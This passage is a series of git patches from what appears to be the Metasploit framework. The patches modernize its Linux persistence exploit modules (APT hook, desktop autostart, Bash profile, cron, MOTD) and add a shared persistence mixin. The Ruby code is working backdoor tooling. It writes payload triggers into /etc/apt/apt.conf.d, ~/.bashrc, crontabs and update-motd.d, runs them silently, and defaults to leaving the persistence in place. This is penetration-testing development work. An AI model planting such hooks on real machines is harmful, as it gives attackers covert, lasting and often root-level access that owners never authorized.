APT in apt.conf.d. The hook name syntax is numeric followed by text. + This module will run a payload when the APT package manager is used. + This module creates a pre-invoke hook for APT in apt.conf.d. Write access + to the apt.conf.d directory is required, typically requiring root access. + + The hook name is randomized if not specified. + + Verified on Ubuntu 22.04 }, 'License' => MSF_LICENSE, 'Author' => ['Aaron Ringo'], @@ -36,19 +40,30 @@ def initialize(info = {}) ARCH_MIPSLE, ARCH_MIPSBE ], + 'DefaultOptions' => { + 'WfsDelay' => 90_000, # 25hrs + 'AllowNoCleanup' => true # don't delete our persistence after we get a shell + }, 'SessionTypes' => ['shell', 'meterpreter'], - 'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => true }, 'DisclosureDate' => '1999-03-09', # Date APT package manager was included in Debian 'References' => ['URL', 'https://unix.stackexchange.com/questions/204414/how-to-run-a-command-before-download-with-apt-get'], 'Targets' => [['Automatic', {}]], - 'DefaultTarget' => 0 + 'DefaultTarget' => 0, + 'Stance' => Msf::Exploit::Stance::Passive, + 'Passive' => true, # XXX when set, ignores wfsdelay and immediately exists after last command + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] + } ) ) register_options( [ OptString.new('HOOKNAME', [false, 'Name of hook file to write']), - OptString.new('BACKDOOR_NAME', [false, 'Name of binary to write']) + OptString.new('BACKDOOR_NAME', [false, 'Name of binary to write']), + OptString.new('HOOKPATH', [true, 'The directory where the apt configurations are located', '/etc/apt/apt.conf.d/']) ] ) @@ -59,11 +74,18 @@ def initialize(info = {}) ) end + def check + return CheckCode::Safe("#{datastore['HOOKPATH']} not found") unless exists?(datastore['HOOKPATH']) + return CheckCode::Safe("#{datastore['HOOKPATH']} not writable") unless writable?(datastore['HOOKPATH']) + return CheckCode::Safe("#{datastore['WritableDir']} not found") unless exists?(datastore['WritableDir']) + return CheckCode::Safe("#{datastore['WritableDir']} not writable") unless writable?(datastore['WritableDir']) + + CheckCode::Detected + end + def exploit - hook_path = '/etc/apt/apt.conf.d/' - unless writable? hook_path - fail_with Failure::BadConfig, "#{hook_path} not writable, or APT is not on system" - end + fail_with Failure::BadConfig, "#{datastore['HOOKPATH']} not writable, or APT is not on system" unless writable?(datastore['HOOKPATH']) + hook_path = datastore['HOOKPATH'] hook_path << (datastore['HOOKNAME'] || "#{rand_text_numeric(2)}#{rand_text_alpha(5..8)}") backdoor_path = datastore['WritableDir'] @@ -74,13 +96,12 @@ def exploit backdoor_path << backdoor_name print_status('Attempting to write hook:') - hook_script = "APT::Update::Pre-Invoke {\"setsid #{backdoor_path} 2>/dev/null &\"};" - write_file(hook_path, hook_script) + hook_script = %(APT::Update::Pre-Invoke {"setsid #{backdoor_path} 2>/dev/null &"};) + write_file(datastore['HOOKPATH'], hook_script) - unless exist? hook_path - fail_with Failure::Unknown, 'Failed to write Hook' - end - print_status("Wrote #{hook_path}") + fail_with Failure::Unknown, 'Failed to write Hook' unless exist?(datastore['HOOKPATH']) + + print_status("Wrote #{datastore['HOOKPATH']}") if payload.arch.first == 'cmd' write_file(backdoor_path, payload.encoded) @@ -88,13 +109,12 @@ def exploit write_file(backdoor_path, generate_payload_exe) end - unless exist? backdoor_path - fail_with Failure::Unknown, "Failed to write #{backdoor_path}" - end - print_status("Backdoor uploaded #{backdoor_path}") - print_status('Backdoor will run on next APT update') + fail_with Failure::Unknown, "Failed to write #{backdoor_path}" unless exist?(backdoor_path) + print_status("Backdoor uploaded #{backdoor_path}") # permissions chosen to reflect common perms in /usr/local/bin/ chmod(backdoor_path, 0o755) + + print_good('Backdoor will run on next APT update') end end From 1fbd81dd2eb5f7a6cdf29b226cb0dcd607bfe42e Mon Sep 17 00:00:00 2001 From: h00die Date: Mon, 20 Jan 2025 07:28:57 -0500 Subject: [PATCH 07/94] modernization, updates, testing of autostart --- .../exploits/linux/persistence/autostart.rb | 35 ++++++++++++++++--- 1 file changed, 31 insertions(+), 4 deletions(-) diff --git a/modules/exploits/linux/persistence/autostart.rb b/modules/exploits/linux/persistence/autostart.rb index d0668368038c..2201a6175689 100644 --- a/modules/exploits/linux/persistence/autostart.rb +++ b/modules/exploits/linux/persistence/autostart.rb @@ -8,6 +8,7 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::File include Msf::Post::Unix + prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Deprecated moved_from 'exploits/linux/local/autostart_persistence' @@ -19,6 +20,8 @@ def initialize(info = {}) 'Description' => %q{ This module will create an autostart entry to execute a payload. The payload will be executed when the users logs in. + + Verified on Ubuntu 22.04 desktop with Gnome }, 'License' => MSF_LICENSE, 'Author' => [ 'Eliott Teissonniere' ], @@ -32,18 +35,40 @@ def initialize(info = {}) } }, 'SessionTypes' => [ 'shell', 'meterpreter' ], - 'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => true }, + 'DefaultOptions' => { + 'WfsDelay' => 90_000, # 25hrs + 'AllowNoCleanup' => true # don't delete our persistence after we get a shell + }, 'DisclosureDate' => '2006-02-13', # Date of the 0.5 doc for autostart - 'Targets' => [ ['Automatic', {}] ], - 'DefaultTarget' => 0 + 'Targets' => [['Automatic', {}]], + 'DefaultTarget' => 0, + 'Stance' => Msf::Exploit::Stance::Passive, + 'Passive' => true, # XXX when set, ignores wfsdelay and immediately exists after last command + 'References' => [ + ['URL', 'https://attack.mitre.org/techniques/T1547/013/'] + ], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] + } ) ) register_options([ OptString.new('NAME', [false, 'Name of autostart entry' ]) ]) end + def check + # https://unix.stackexchange.com/a/237750 + unless command_exists?('Xorg') + return CheckCode::Safe('Xorg is not installed, likely a server install. Autostart requires a graphical environment') + end + + CheckCode::Detected('Xorg is installed, possible desktop install.') + end + def exploit - name = datastore['NAME'] || Rex::Text.rand_text_alpha(5) + name = datastore['NAME'] || Rex::Text.rand_text_alpha(5..8) home = cmd_exec('echo ~') @@ -62,5 +87,7 @@ def exploit 'Terminal=false', "Exec=/bin/sh -c \"#{payload.encoded}\"" ].join("\n")) + + print_good("Backdoor will run on next login by #{whoami}") end end From 18776016754a329cac35d97b84bcbe167bf7dfa1 Mon Sep 17 00:00:00 2001 From: h00die Date: Mon, 20 Jan 2025 07:49:37 -0500 Subject: [PATCH 08/94] modernization, updates, testing of bash_profile --- .../linux/persistence/bash_profile.rb | 104 ++++++++---------- 1 file changed, 48 insertions(+), 56 deletions(-) diff --git a/modules/exploits/linux/persistence/bash_profile.rb b/modules/exploits/linux/persistence/bash_profile.rb index 670bacd62acc..82781aec8eff 100644 --- a/modules/exploits/linux/persistence/bash_profile.rb +++ b/modules/exploits/linux/persistence/bash_profile.rb @@ -4,10 +4,12 @@ ## class MetasploitModule < Msf::Exploit::Local - Rank = NormalRanking - include Msf::Post::Common + Rank = ExcellentRanking + include Msf::Post::File include Msf::Post::Unix + include Msf::Auxiliary::Report + prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Deprecated moved_from 'exploits/linux/local/bash_profile_persistence' @@ -19,8 +21,9 @@ def initialize(info = {}) 'Description' => %q{ This module writes an execution trigger to the target's Bash profile. The execution trigger executes a call back payload whenever the target - user opens a Bash terminal. A handler is not run automatically, so you - must configure an appropriate exploit/multi/handler to receive the callback. + user opens a Bash terminal. + + Verified on Ubuntu 22.04 desktop with Gnome }, 'License' => MSF_LICENSE, 'Author' => [ @@ -30,25 +33,19 @@ def initialize(info = {}) 'Platform' => ['unix', 'linux'], 'Arch' => ARCH_CMD, 'SessionTypes' => ['meterpreter', 'shell'], - 'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => true }, + 'DefaultOptions' => { + 'WfsDelay' => 90_000, # 25hrs + 'AllowNoCleanup' => true # don't delete our persistence after we get a shell + }, 'Targets' => [ ['Automatic', {}] ], 'DefaultTarget' => 0, - 'Payload' => { - 'Compat' => - { - 'PayloadType' => 'cmd', - 'Meterpreter' => { - 'Commands' => %w[ - stdapi_sys_config_sysinfo - ] - } - } - }, 'References' => [ - ['URL', 'https://attack.mitre.org/techniques/T1156/'] + ['URL', 'https://attack.mitre.org/techniques/T1546/004/'] ], + 'Stance' => Msf::Exploit::Stance::Passive, + # 'Passive' => true, # XXX when set, ignores wfsdelay and immediately exists after last command 'Notes' => { 'Reliability' => [ REPEATABLE_SESSION ], 'Stability' => [ CRASH_SAFE ], @@ -60,65 +57,60 @@ def initialize(info = {}) register_options( [ OptString.new('BASH_PROFILE', [true, 'Target Bash profile location. Usually ~/.bashrc or ~/.bash_profile.', '~/.bashrc']), - OptString.new('PAYLOAD_DIR', [true, 'Directory to write persistent payload file.', '/var/tmp/']) + OptString.new('BACKDOOR_NAME', [false, 'Name of binary to write']), + ] + ) + + register_advanced_options( + [ + OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp/']) ] ) end - def exploit + def profile_path # expand home directory path (i.e. '~/.bashrc' becomes '/home/user/.bashrc') profile_path = datastore['BASH_PROFILE'] if profile_path.start_with?('~/') - home_directory = get_env('$HOME') - profile_path.sub!(/^~/, home_directory) + profile_path.sub!(/^~/, get_env('$HOME')) end + profile_path + end + + def check + ppath = profile_path # check that target Bash profile file exists - unless exist?(profile_path) - fail_with Failure::NotFound, profile_path - end - print_good("Bash profile exists: #{profile_path}") + return CheckCode::Safe("Bash profile does not exist: #{ppath}") unless exist?(ppath) + + vprint_good("Bash profile exists: #{ppath}") # check that target Bash profile file is writable - unless writable?(profile_path) - fail_with Failure::NoAccess, profile_path - end - print_good("Bash profile is writable: #{profile_path}") + return CheckCode::Safe("Bash profile is not writable: #{ppath}") unless writable?(ppath) + + vprint_good("Bash profile is writable: #{ppath}") + + CheckCode::Detected("Bash profile exists and is writable: #{ppath}") + end + def exploit # create Bash profile backup on local system before persistence is added - backup_profile = read_file(profile_path) - backup_profile_path = create_backup_file(backup_profile) + ppath = profile_path + backup_profile = read_file(ppath) + + backup_profile_path = store_loot("desktop.#{datastore['BASH_PROFILE'].split('/').last}", 'text/plain', session, backup_profile, datastore['BASH_PROFILE'].split('/').last, 'bash profile backup') print_status("Created backup Bash profile: #{backup_profile_path}") # upload persistent payload to target and make executable (chmod 700) - payload_file = datastore['PAYLOAD_DIR'] + Rex::Text.rand_text_alpha(10..16) - upload_and_chmodx(payload_file, payload.encoded) + backdoor_path = datastore['WritableDir'] + backdoor_name = datastore['BACKDOOR_NAME'] || rand_text_alphanumeric(5..10) + backdoor_path << backdoor_name + upload_and_chmodx(backdoor_path, payload.encoded) # write payload trigger to Bash profile - exec_payload_string = "#{payload_file} > /dev/null 2>&1 &" + "\n" # send stdin,out,err to /dev/null - append_file(profile_path, exec_payload_string) + exec_payload_string = "#{backdoor_path} > /dev/null 2>&1 & \n" # send stdin,out,err to /dev/null + append_file(ppath, exec_payload_string) print_good('Created Bash profile persistence') print_status('Payload will be triggered when target opens a Bash terminal') - print_warning("Don't forget to start your handler:") - print_warning("msf> handler -H #{datastore['LHOST']} -P #{datastore['LPORT']} -p #{datastore['PAYLOAD']}") - end - - # create a backup copy of the target's Bash profile on the local system before persistence is added - def create_backup_file(backup_profile) - begin - hostname = session.sys.config.sysinfo['Computer'] - rescue NoMethodError - hostname = cmd_exec('hostname') - end - - timestamp = '_' + ::Time.now.strftime('%Y%m%d.%H%M%S') - - log_directory_name = ::File.join(Msf::Config.log_directory, 'persistence/' + hostname + timestamp) - - ::FileUtils.mkdir_p(log_directory_name) - - log_file_name = log_directory_name + '/Bash_Profile.backup' - file_local_write(log_file_name, backup_profile) - return log_file_name end end From 43244ca18c805ff1dc3cd5fd1662e7c129ac6410 Mon Sep 17 00:00:00 2001 From: h00die Date: Mon, 20 Jan 2025 09:55:03 -0500 Subject: [PATCH 09/94] create persistence lib to standardize options --- lib/msf/core/exploit/local/persistence.rb | 25 +++++++++++++++++++ .../linux/persistence/apt_package_manager.rb | 17 ++----------- .../exploits/linux/persistence/autostart.rb | 12 +++------ .../linux/persistence/bash_profile.rb | 13 +--------- 4 files changed, 32 insertions(+), 35 deletions(-) create mode 100644 lib/msf/core/exploit/local/persistence.rb diff --git a/lib/msf/core/exploit/local/persistence.rb b/lib/msf/core/exploit/local/persistence.rb new file mode 100644 index 000000000000..8d7ee2ae2279 --- /dev/null +++ b/lib/msf/core/exploit/local/persistence.rb @@ -0,0 +1,25 @@ +# -*- coding: binary -*- + +module Msf + module Exploit::Local::Persistence + def initialize(info = {}) + super( + update_info( + info, + 'DefaultOptions' => { + 'WfsDelay' => 90_000, # 25hrs + 'AllowNoCleanup' => true # don't delete our persistence after we get a shell + }, + 'Stance' => Msf::Exploit::Stance::Passive + # 'Passive' => true # XXX when set, ignores wfsdelay and immediately exists after last command + ) + ) + + register_advanced_options( + [ + OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp/']) + ] + ) + end + end +end diff --git a/modules/exploits/linux/persistence/apt_package_manager.rb b/modules/exploits/linux/persistence/apt_package_manager.rb index 3982c4b3faf0..64673fc615e4 100644 --- a/modules/exploits/linux/persistence/apt_package_manager.rb +++ b/modules/exploits/linux/persistence/apt_package_manager.rb @@ -5,10 +5,12 @@ class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking + include Msf::Exploit::EXE include Msf::Exploit::FileDropper include Msf::Post::File include Msf::Post::Linux::System + include Msf::Exploit::Local::Persistence prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Deprecated moved_from 'exploits/linux/local/apt_package_manager_persistence' @@ -40,17 +42,11 @@ def initialize(info = {}) ARCH_MIPSLE, ARCH_MIPSBE ], - 'DefaultOptions' => { - 'WfsDelay' => 90_000, # 25hrs - 'AllowNoCleanup' => true # don't delete our persistence after we get a shell - }, 'SessionTypes' => ['shell', 'meterpreter'], 'DisclosureDate' => '1999-03-09', # Date APT package manager was included in Debian 'References' => ['URL', 'https://unix.stackexchange.com/questions/204414/how-to-run-a-command-before-download-with-apt-get'], 'Targets' => [['Automatic', {}]], 'DefaultTarget' => 0, - 'Stance' => Msf::Exploit::Stance::Passive, - 'Passive' => true, # XXX when set, ignores wfsdelay and immediately exists after last command 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], @@ -66,12 +62,6 @@ def initialize(info = {}) OptString.new('HOOKPATH', [true, 'The directory where the apt configurations are located', '/etc/apt/apt.conf.d/']) ] ) - - register_advanced_options( - [ - OptString.new('WritableDir', [true, 'A directory where we can write files', '/usr/local/bin/']) - ] - ) end def check @@ -89,9 +79,6 @@ def exploit hook_path << (datastore['HOOKNAME'] || "#{rand_text_numeric(2)}#{rand_text_alpha(5..8)}") backdoor_path = datastore['WritableDir'] - unless writable? backdoor_path - fail_with Failure::BadConfig, "#{backdoor_path} is not writable" - end backdoor_name = datastore['BACKDOOR_NAME'] || rand_text_alphanumeric(5..10) backdoor_path << backdoor_name diff --git a/modules/exploits/linux/persistence/autostart.rb b/modules/exploits/linux/persistence/autostart.rb index 2201a6175689..beab7474f5e0 100644 --- a/modules/exploits/linux/persistence/autostart.rb +++ b/modules/exploits/linux/persistence/autostart.rb @@ -8,6 +8,7 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::File include Msf::Post::Unix + include Msf::Exploit::Local::Persistence prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Deprecated moved_from 'exploits/linux/local/autostart_persistence' @@ -35,15 +36,9 @@ def initialize(info = {}) } }, 'SessionTypes' => [ 'shell', 'meterpreter' ], - 'DefaultOptions' => { - 'WfsDelay' => 90_000, # 25hrs - 'AllowNoCleanup' => true # don't delete our persistence after we get a shell - }, 'DisclosureDate' => '2006-02-13', # Date of the 0.5 doc for autostart 'Targets' => [['Automatic', {}]], 'DefaultTarget' => 0, - 'Stance' => Msf::Exploit::Stance::Passive, - 'Passive' => true, # XXX when set, ignores wfsdelay and immediately exists after last command 'References' => [ ['URL', 'https://attack.mitre.org/techniques/T1547/013/'] ], @@ -55,7 +50,8 @@ def initialize(info = {}) ) ) - register_options([ OptString.new('NAME', [false, 'Name of autostart entry' ]) ]) + register_options([ OptString.new('BACKDOOR_NAME', [false, 'Name of autostart entry' ]) ]) + deregister_options('WritableDir') end def check @@ -68,7 +64,7 @@ def check end def exploit - name = datastore['NAME'] || Rex::Text.rand_text_alpha(5..8) + name = datastore['BACKDOOR_NAME'] || Rex::Text.rand_text_alpha(5..8) home = cmd_exec('echo ~') diff --git a/modules/exploits/linux/persistence/bash_profile.rb b/modules/exploits/linux/persistence/bash_profile.rb index 82781aec8eff..58ce007fd7d9 100644 --- a/modules/exploits/linux/persistence/bash_profile.rb +++ b/modules/exploits/linux/persistence/bash_profile.rb @@ -9,6 +9,7 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::File include Msf::Post::Unix include Msf::Auxiliary::Report + include Msf::Exploit::Local::Persistence prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Deprecated moved_from 'exploits/linux/local/bash_profile_persistence' @@ -33,10 +34,6 @@ def initialize(info = {}) 'Platform' => ['unix', 'linux'], 'Arch' => ARCH_CMD, 'SessionTypes' => ['meterpreter', 'shell'], - 'DefaultOptions' => { - 'WfsDelay' => 90_000, # 25hrs - 'AllowNoCleanup' => true # don't delete our persistence after we get a shell - }, 'Targets' => [ ['Automatic', {}] ], @@ -44,8 +41,6 @@ def initialize(info = {}) 'References' => [ ['URL', 'https://attack.mitre.org/techniques/T1546/004/'] ], - 'Stance' => Msf::Exploit::Stance::Passive, - # 'Passive' => true, # XXX when set, ignores wfsdelay and immediately exists after last command 'Notes' => { 'Reliability' => [ REPEATABLE_SESSION ], 'Stability' => [ CRASH_SAFE ], @@ -60,12 +55,6 @@ def initialize(info = {}) OptString.new('BACKDOOR_NAME', [false, 'Name of binary to write']), ] ) - - register_advanced_options( - [ - OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp/']) - ] - ) end def profile_path From 5039513765280262f8bd40e71c76a17f0aa8a537 Mon Sep 17 00:00:00 2001 From: h00die Date: Mon, 20 Jan 2025 10:51:57 -0500 Subject: [PATCH 10/94] modernization, updates, testing of cron --- modules/exploits/linux/persistence/cron.rb | 120 +++++++++++---------- 1 file changed, 63 insertions(+), 57 deletions(-) diff --git a/modules/exploits/linux/persistence/cron.rb b/modules/exploits/linux/persistence/cron.rb index 3a3827aa6de5..a74ce91b455d 100644 --- a/modules/exploits/linux/persistence/cron.rb +++ b/modules/exploits/linux/persistence/cron.rb @@ -9,6 +9,8 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::File include Msf::Post::Unix include Msf::Exploit::FileDropper + include Msf::Exploit::Local::Persistence + prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Deprecated moved_from 'exploits/linux/local/cron_persistence' @@ -21,6 +23,8 @@ def initialize(info = {}) This module will create a cron or crontab entry to execute a payload. The module includes the ability to automatically clean up those entries to prevent multiple executions. syslog will get a copy of the cron entry. + + Verified on Ubuntu 22.04 }, 'License' => MSF_LICENSE, 'Author' => [ @@ -29,34 +33,36 @@ def initialize(info = {}) 'Platform' => ['unix', 'linux'], 'Targets' => [ [ 'Cron', { path: '/etc/cron.d' } ], - [ 'User Crontab', { path: '/var/spool/cron' } ], - [ 'System Crontab', { path: '/etc' } ] + [ 'User Crontab', { path: '/var/spool/cron/crontabs' } ], + [ 'System Crontab', { path: '/etc/crontab' } ] ], 'DefaultTarget' => 1, 'Arch' => ARCH_CMD, + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'DisclosureDate' => '1979-07-01', # Version 7 Unix release date (first cron implementation) 'Payload' => { - 'BadChars' => "#%\x10\x13", # is for comments, % is for newline - 'Compat' => - { - 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic perl ruby python' - } + 'BadChars' => "#%\x10\x13" # is for comments, % is for newline }, - 'DefaultOptions' => { 'WfsDelay' => 90 }, - 'DisclosureDate' => '1979-07-01' # Version 7 Unix release date (first cron implementation) + 'References' => [ + ['URL', 'https://attack.mitre.org/techniques/T1053/003/'] + ], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], + 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] + } ) ) register_options( [ OptString.new('USERNAME', [false, 'User to run cron/crontab as', 'root']), - OptString.new('TIMING', [false, 'cron timing. Changing will require WfsDelay to be adjusted', '* * * * *']), - OptBool.new('CLEANUP', [true, 'delete cron entry after execution', true]) + OptString.new('TIMING', [false, 'cron timing. Changing will require WfsDelay to be adjusted', '* * * * *']), ], self.class ) end - def exploit + def check # https://gist.github.com/istvanp/310203 for cron regex validator cron_regex = '(\*|[0-5]?[0-9]|\*\/[0-9]+)\s+' cron_regex << '(\*|1?[0-9]|2[0-3]|\*\/[0-9]+)\s+' @@ -65,51 +71,19 @@ def exploit cron_regex << '(\*\/[0-9]+|\*|[0-7]|sun|mon|tue|wed|thu|fri|sat)' # \s* # cron_regex << '(\*\/[0-9]+|\*|[0-9]+)?' unless datastore['TIMING'] =~ /#{cron_regex}/ - fail_with(Failure::BadConfig, 'Invalid timing format') - end - cron_entry = datastore['TIMING'] - if target.name.include? 'User Crontab' - unless user_cron_permission?(datastore['USERNAME']) - fail_with(Failure::NoAccess, 'User denied cron via cron.deny') - end - else - cron_entry += " #{datastore['USERNAME']}" + return CheckCode::Unknown('Invalid timing format') end - flag = Rex::Text.rand_text_alpha(10) - cron_entry += " #{payload.encoded} ##{flag}" # we add a flag to the end of the entry to potentially delete it later + case target.name - when 'Cron' - our_entry = Rex::Text.rand_text_alpha(10) - write_file("#{target.opts[:path]}/#{our_entry}", "#{cron_entry}\n") - vprint_good("Writing #{cron_entry} to #{target.opts[:path]}/#{our_entry}") - if datastore['CLEANUP'] - register_file_for_cleanup("#{target.opts[:path]}/#{our_entry}") - end - when 'System Crontab' - file_to_clean = "#{target.opts[:path]}/crontab" - append_file(file_to_clean, "\n#{cron_entry}\n") - vprint_good("Writing #{cron_entry} to #{file_to_clean}") + # when 'Cron' + # when 'System Crontab' when 'User Crontab' - file_to_clean = "#{target.opts[:path]}/crontabs/#{datastore['USERNAME']}" - append_file(file_to_clean, "\n#{cron_entry}\n") - vprint_good("Writing #{cron_entry} to #{file_to_clean}") - # at least on ubuntu, we need to reload cron to get this to work - vprint_status('Reloading cron to pickup new entry') - cmd_exec('service cron reload') - end - print_status("Waiting #{datastore['WfsDelay']}sec for execution") - Rex.sleep(datastore['WfsDelay'].to_i) - # we may need to do some cleanup, no need for cron since that uses file dropper - # we could run this on a on_successful_session, but we want cleanup even if it fails - if file_to_clean && flag && datastore['CLEANUP'] - print_status("Removing our cron entry from #{file_to_clean}") - cmd_exec("sed '/#{flag}$/d' #{file_to_clean} > #{file_to_clean}.new") - cmd_exec("mv #{file_to_clean}.new #{file_to_clean}") - # replaced cmd_exec("perl -pi -e 's/.*#{flag}$//g' #{file_to_clean}") in favor of sed - if target.name == 'User Crontab' # make sure we clean out of memory - cmd_exec('service cron reload') + unless user_cron_permission?(datastore['USERNAME']) + return CheckCode::Unknown('User denied cron via cron.deny') end end + + CheckCode::Detected('Cron timing is valid, no cron.deny entries found') end def user_cron_permission?(user) @@ -117,11 +91,15 @@ def user_cron_permission?(user) # may also be /etc/cron.d/ paths = ['/etc/', '/etc/cron.d/'] paths.each do |path| - cron_auth = read_file("#{path}cron.allow") - if cron_auth && (cron_auth =~ /^ALL$/ || cron_auth =~ /^#{Regexp.escape(user)}$/) - vprint_good("User located in #{path}cron.allow") - return true + if readable?("#{path}cron.allow") + cron_auth = read_file("#{path}cron.allow") + if cron_auth && (cron_auth =~ /^ALL$/ || cron_auth =~ /^#{Regexp.escape(user)}$/) + vprint_good("User located in #{path}cron.allow") + return true + end end + next unless readable?("#{path}cron.deny") + cron_auths = read_file("#{path}cron.deny") if cron_auths && cron_auth =~ /^#{Regexp.escape(user)}$/ vprint_error("User located in #{path}cron.deny") @@ -131,4 +109,32 @@ def user_cron_permission?(user) # no guidance, so we should be fine true end + + def exploit + cron_entry = datastore['TIMING'] + + unless target.name == 'User Crontab' + cron_entry += " #{datastore['USERNAME']}" + end + cron_entry += " #{payload.encoded}" + + case target.name + when 'Cron' + our_entry = Rex::Text.rand_text_alpha(8..15) + write_file("#{target.opts[:path]}/#{our_entry}", "#{cron_entry}\n") + vprint_good("Writing #{cron_entry} to #{target.opts[:path]}/#{our_entry}") + when 'System Crontab' + file_to_clean = target.opts[:path].to_s + append_file(file_to_clean, "\n#{cron_entry}\n") + vprint_good("Writing #{cron_entry} to #{file_to_clean}") + when 'User Crontab' + file_to_clean = "#{target.opts[:path]}/#{datastore['USERNAME']}" + append_file(file_to_clean, "\n#{cron_entry}\n") + vprint_good("Writing #{cron_entry} to #{file_to_clean}") + # at least on ubuntu, we need to reload cron to get this to work + vprint_status('Reloading cron to pickup new entry') + cmd_exec('service cron reload') + end + print_good('Payload will be triggered when cron time is reached') + end end From 9de657ed2ff9fb349298031b6fa0cad7f1934835 Mon Sep 17 00:00:00 2001 From: h00die Date: Mon, 20 Jan 2025 10:57:15 -0500 Subject: [PATCH 11/94] modernization, updates, testing of persistence modules --- modules/exploits/linux/persistence/apt_package_manager.rb | 2 +- modules/exploits/linux/persistence/autostart.rb | 2 +- modules/exploits/linux/persistence/bash_profile.rb | 6 +++--- modules/exploits/linux/persistence/motd.rb | 5 ++++- 4 files changed, 9 insertions(+), 6 deletions(-) diff --git a/modules/exploits/linux/persistence/apt_package_manager.rb b/modules/exploits/linux/persistence/apt_package_manager.rb index 64673fc615e4..2ac0f2ac3d9b 100644 --- a/modules/exploits/linux/persistence/apt_package_manager.rb +++ b/modules/exploits/linux/persistence/apt_package_manager.rb @@ -49,7 +49,7 @@ def initialize(info = {}) 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], - 'Reliability' => [REPEATABLE_SESSION], + 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] } ) diff --git a/modules/exploits/linux/persistence/autostart.rb b/modules/exploits/linux/persistence/autostart.rb index beab7474f5e0..64384323b697 100644 --- a/modules/exploits/linux/persistence/autostart.rb +++ b/modules/exploits/linux/persistence/autostart.rb @@ -44,7 +44,7 @@ def initialize(info = {}) ], 'Notes' => { 'Stability' => [CRASH_SAFE], - 'Reliability' => [REPEATABLE_SESSION], + 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] } ) diff --git a/modules/exploits/linux/persistence/bash_profile.rb b/modules/exploits/linux/persistence/bash_profile.rb index 58ce007fd7d9..f9b9a3e8420f 100644 --- a/modules/exploits/linux/persistence/bash_profile.rb +++ b/modules/exploits/linux/persistence/bash_profile.rb @@ -42,7 +42,7 @@ def initialize(info = {}) ['URL', 'https://attack.mitre.org/techniques/T1546/004/'] ], 'Notes' => { - 'Reliability' => [ REPEATABLE_SESSION ], + 'Reliability' => [ REPEATABLE_SESSION, EVENT_DEPENDENT ], 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ] } @@ -99,7 +99,7 @@ def exploit # write payload trigger to Bash profile exec_payload_string = "#{backdoor_path} > /dev/null 2>&1 & \n" # send stdin,out,err to /dev/null append_file(ppath, exec_payload_string) - print_good('Created Bash profile persistence') - print_status('Payload will be triggered when target opens a Bash terminal') + vprint_status('Created Bash profile persistence') + print_good('Payload will be triggered when target opens a Bash terminal') end end diff --git a/modules/exploits/linux/persistence/motd.rb b/modules/exploits/linux/persistence/motd.rb index bb2b042d0759..a8fd8f35b18d 100644 --- a/modules/exploits/linux/persistence/motd.rb +++ b/modules/exploits/linux/persistence/motd.rb @@ -4,9 +4,12 @@ ## class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking include Msf::Post::File include Msf::Post::Unix + include Msf::Exploit::Local::Persistence + prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Deprecated moved_from 'exploits/linux/local/motd_persistence' @@ -24,7 +27,6 @@ def initialize(info = {}) 'Platform' => [ 'unix', 'linux' ], 'Arch' => ARCH_CMD, 'SessionTypes' => [ 'shell', 'meterpreter' ], - 'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => true }, 'Targets' => [ ['Automatic', {}] ], 'DefaultTarget' => 0, 'DisclosureDate' => '1999-01-01', @@ -39,6 +41,7 @@ def initialize(info = {}) ) ) register_options([ OptString.new('BACKDOOR_NAME', [true, 'The filename of the backdoor', '99-check-updates']) ]) + deregister_options('WritableDir') end def exploit From d57237e4ae169027b5217b372447ec40a7be4860 Mon Sep 17 00:00:00 2001 From: h00die Date: Mon, 20 Jan 2025 11:04:12 -0500 Subject: [PATCH 12/94] modernization, updates, testing of motd --- modules/exploits/linux/persistence/motd.rb | 18 ++++++++++-------- 1 file changed, 10 insertions(+), 8 deletions(-) diff --git a/modules/exploits/linux/persistence/motd.rb b/modules/exploits/linux/persistence/motd.rb index a8fd8f35b18d..6fdaa2ab6e50 100644 --- a/modules/exploits/linux/persistence/motd.rb +++ b/modules/exploits/linux/persistence/motd.rb @@ -21,6 +21,8 @@ def initialize(info = {}) 'Description' => %q{ This module will add a script in /etc/update-motd.d/ in order to persist a payload. The payload will be executed with root privileges everytime a user logs in. + + Verified on Ubuntu 22.04 }, 'License' => MSF_LICENSE, 'Author' => [ 'Julien Voisin' ], @@ -44,16 +46,15 @@ def initialize(info = {}) deregister_options('WritableDir') 